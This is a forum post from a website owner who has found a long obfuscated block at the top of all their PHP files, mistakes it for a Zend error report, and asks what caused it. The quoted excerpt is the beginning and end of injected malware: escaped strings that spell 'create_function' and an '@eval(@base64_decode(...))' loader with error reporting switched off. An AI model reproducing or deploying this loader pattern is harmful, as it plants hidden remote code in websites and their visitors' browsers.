Zend Error Reporting at Top of all PHP files in website?

[kemppdog]

All of the PHP files in our website have developed error reports at the top that are hundreds of lines long.

There is also content disappearing from the bottom of some of the webpages.

The error report starts like this

<?php $zend_framework="\x63\162\x65\141\x74\145\x5f\146\ x75\156\x63\164\x69\157\x6e"; @error_reporting(0); $zend_framework("", "\x7d\73\x40\145\x76\141\x6c\50\x40\142\x61\163\x6 5\66\x34\137\x64\145\x63\157\x64\145\x28\42\x4a\10 7\x56\62YTFmWTJiYWsxY3owaXIgPSAiXHg2NlwxNjVceDZlXD E0M1x4NzRcMTUxXHg2ZlwxNTZceDVmXDE0NVx4NzhcMTUxXHg



And after hundreds of lines it ends like this:

eDI0XDYxIiwgJGV2YTFmWTJibzYxem84bDcsMSk7DQogfSBlbH NlIHsgcmV0dXJuICRldmExZlkyYm82MXpvOGw3OyB9DQogfSB9 DQokZXZhMWZZMmJvNjF6bzgxNyA9ICJceDZmXDE0Mlx4NWZcMT YzXHg3NFwxNDFceDcyXDE2NCI7ICRldmExZlkyYm82MXpvODE3 KCJceDY1XDE2Nlx4NjFcNjFceDY2XDEzMVx4MzJcMTQyXHg2MV wxNTNceDMxXDE0M1x4NTZcNjJceDY5XDE2MiIpOw0KCX0\x4e\ 103\x6e\60\x3d\42\x29\51\x3b\57\x2f"); ?><?

There is no explanation of what the report means. Does you have any clue what could cause this?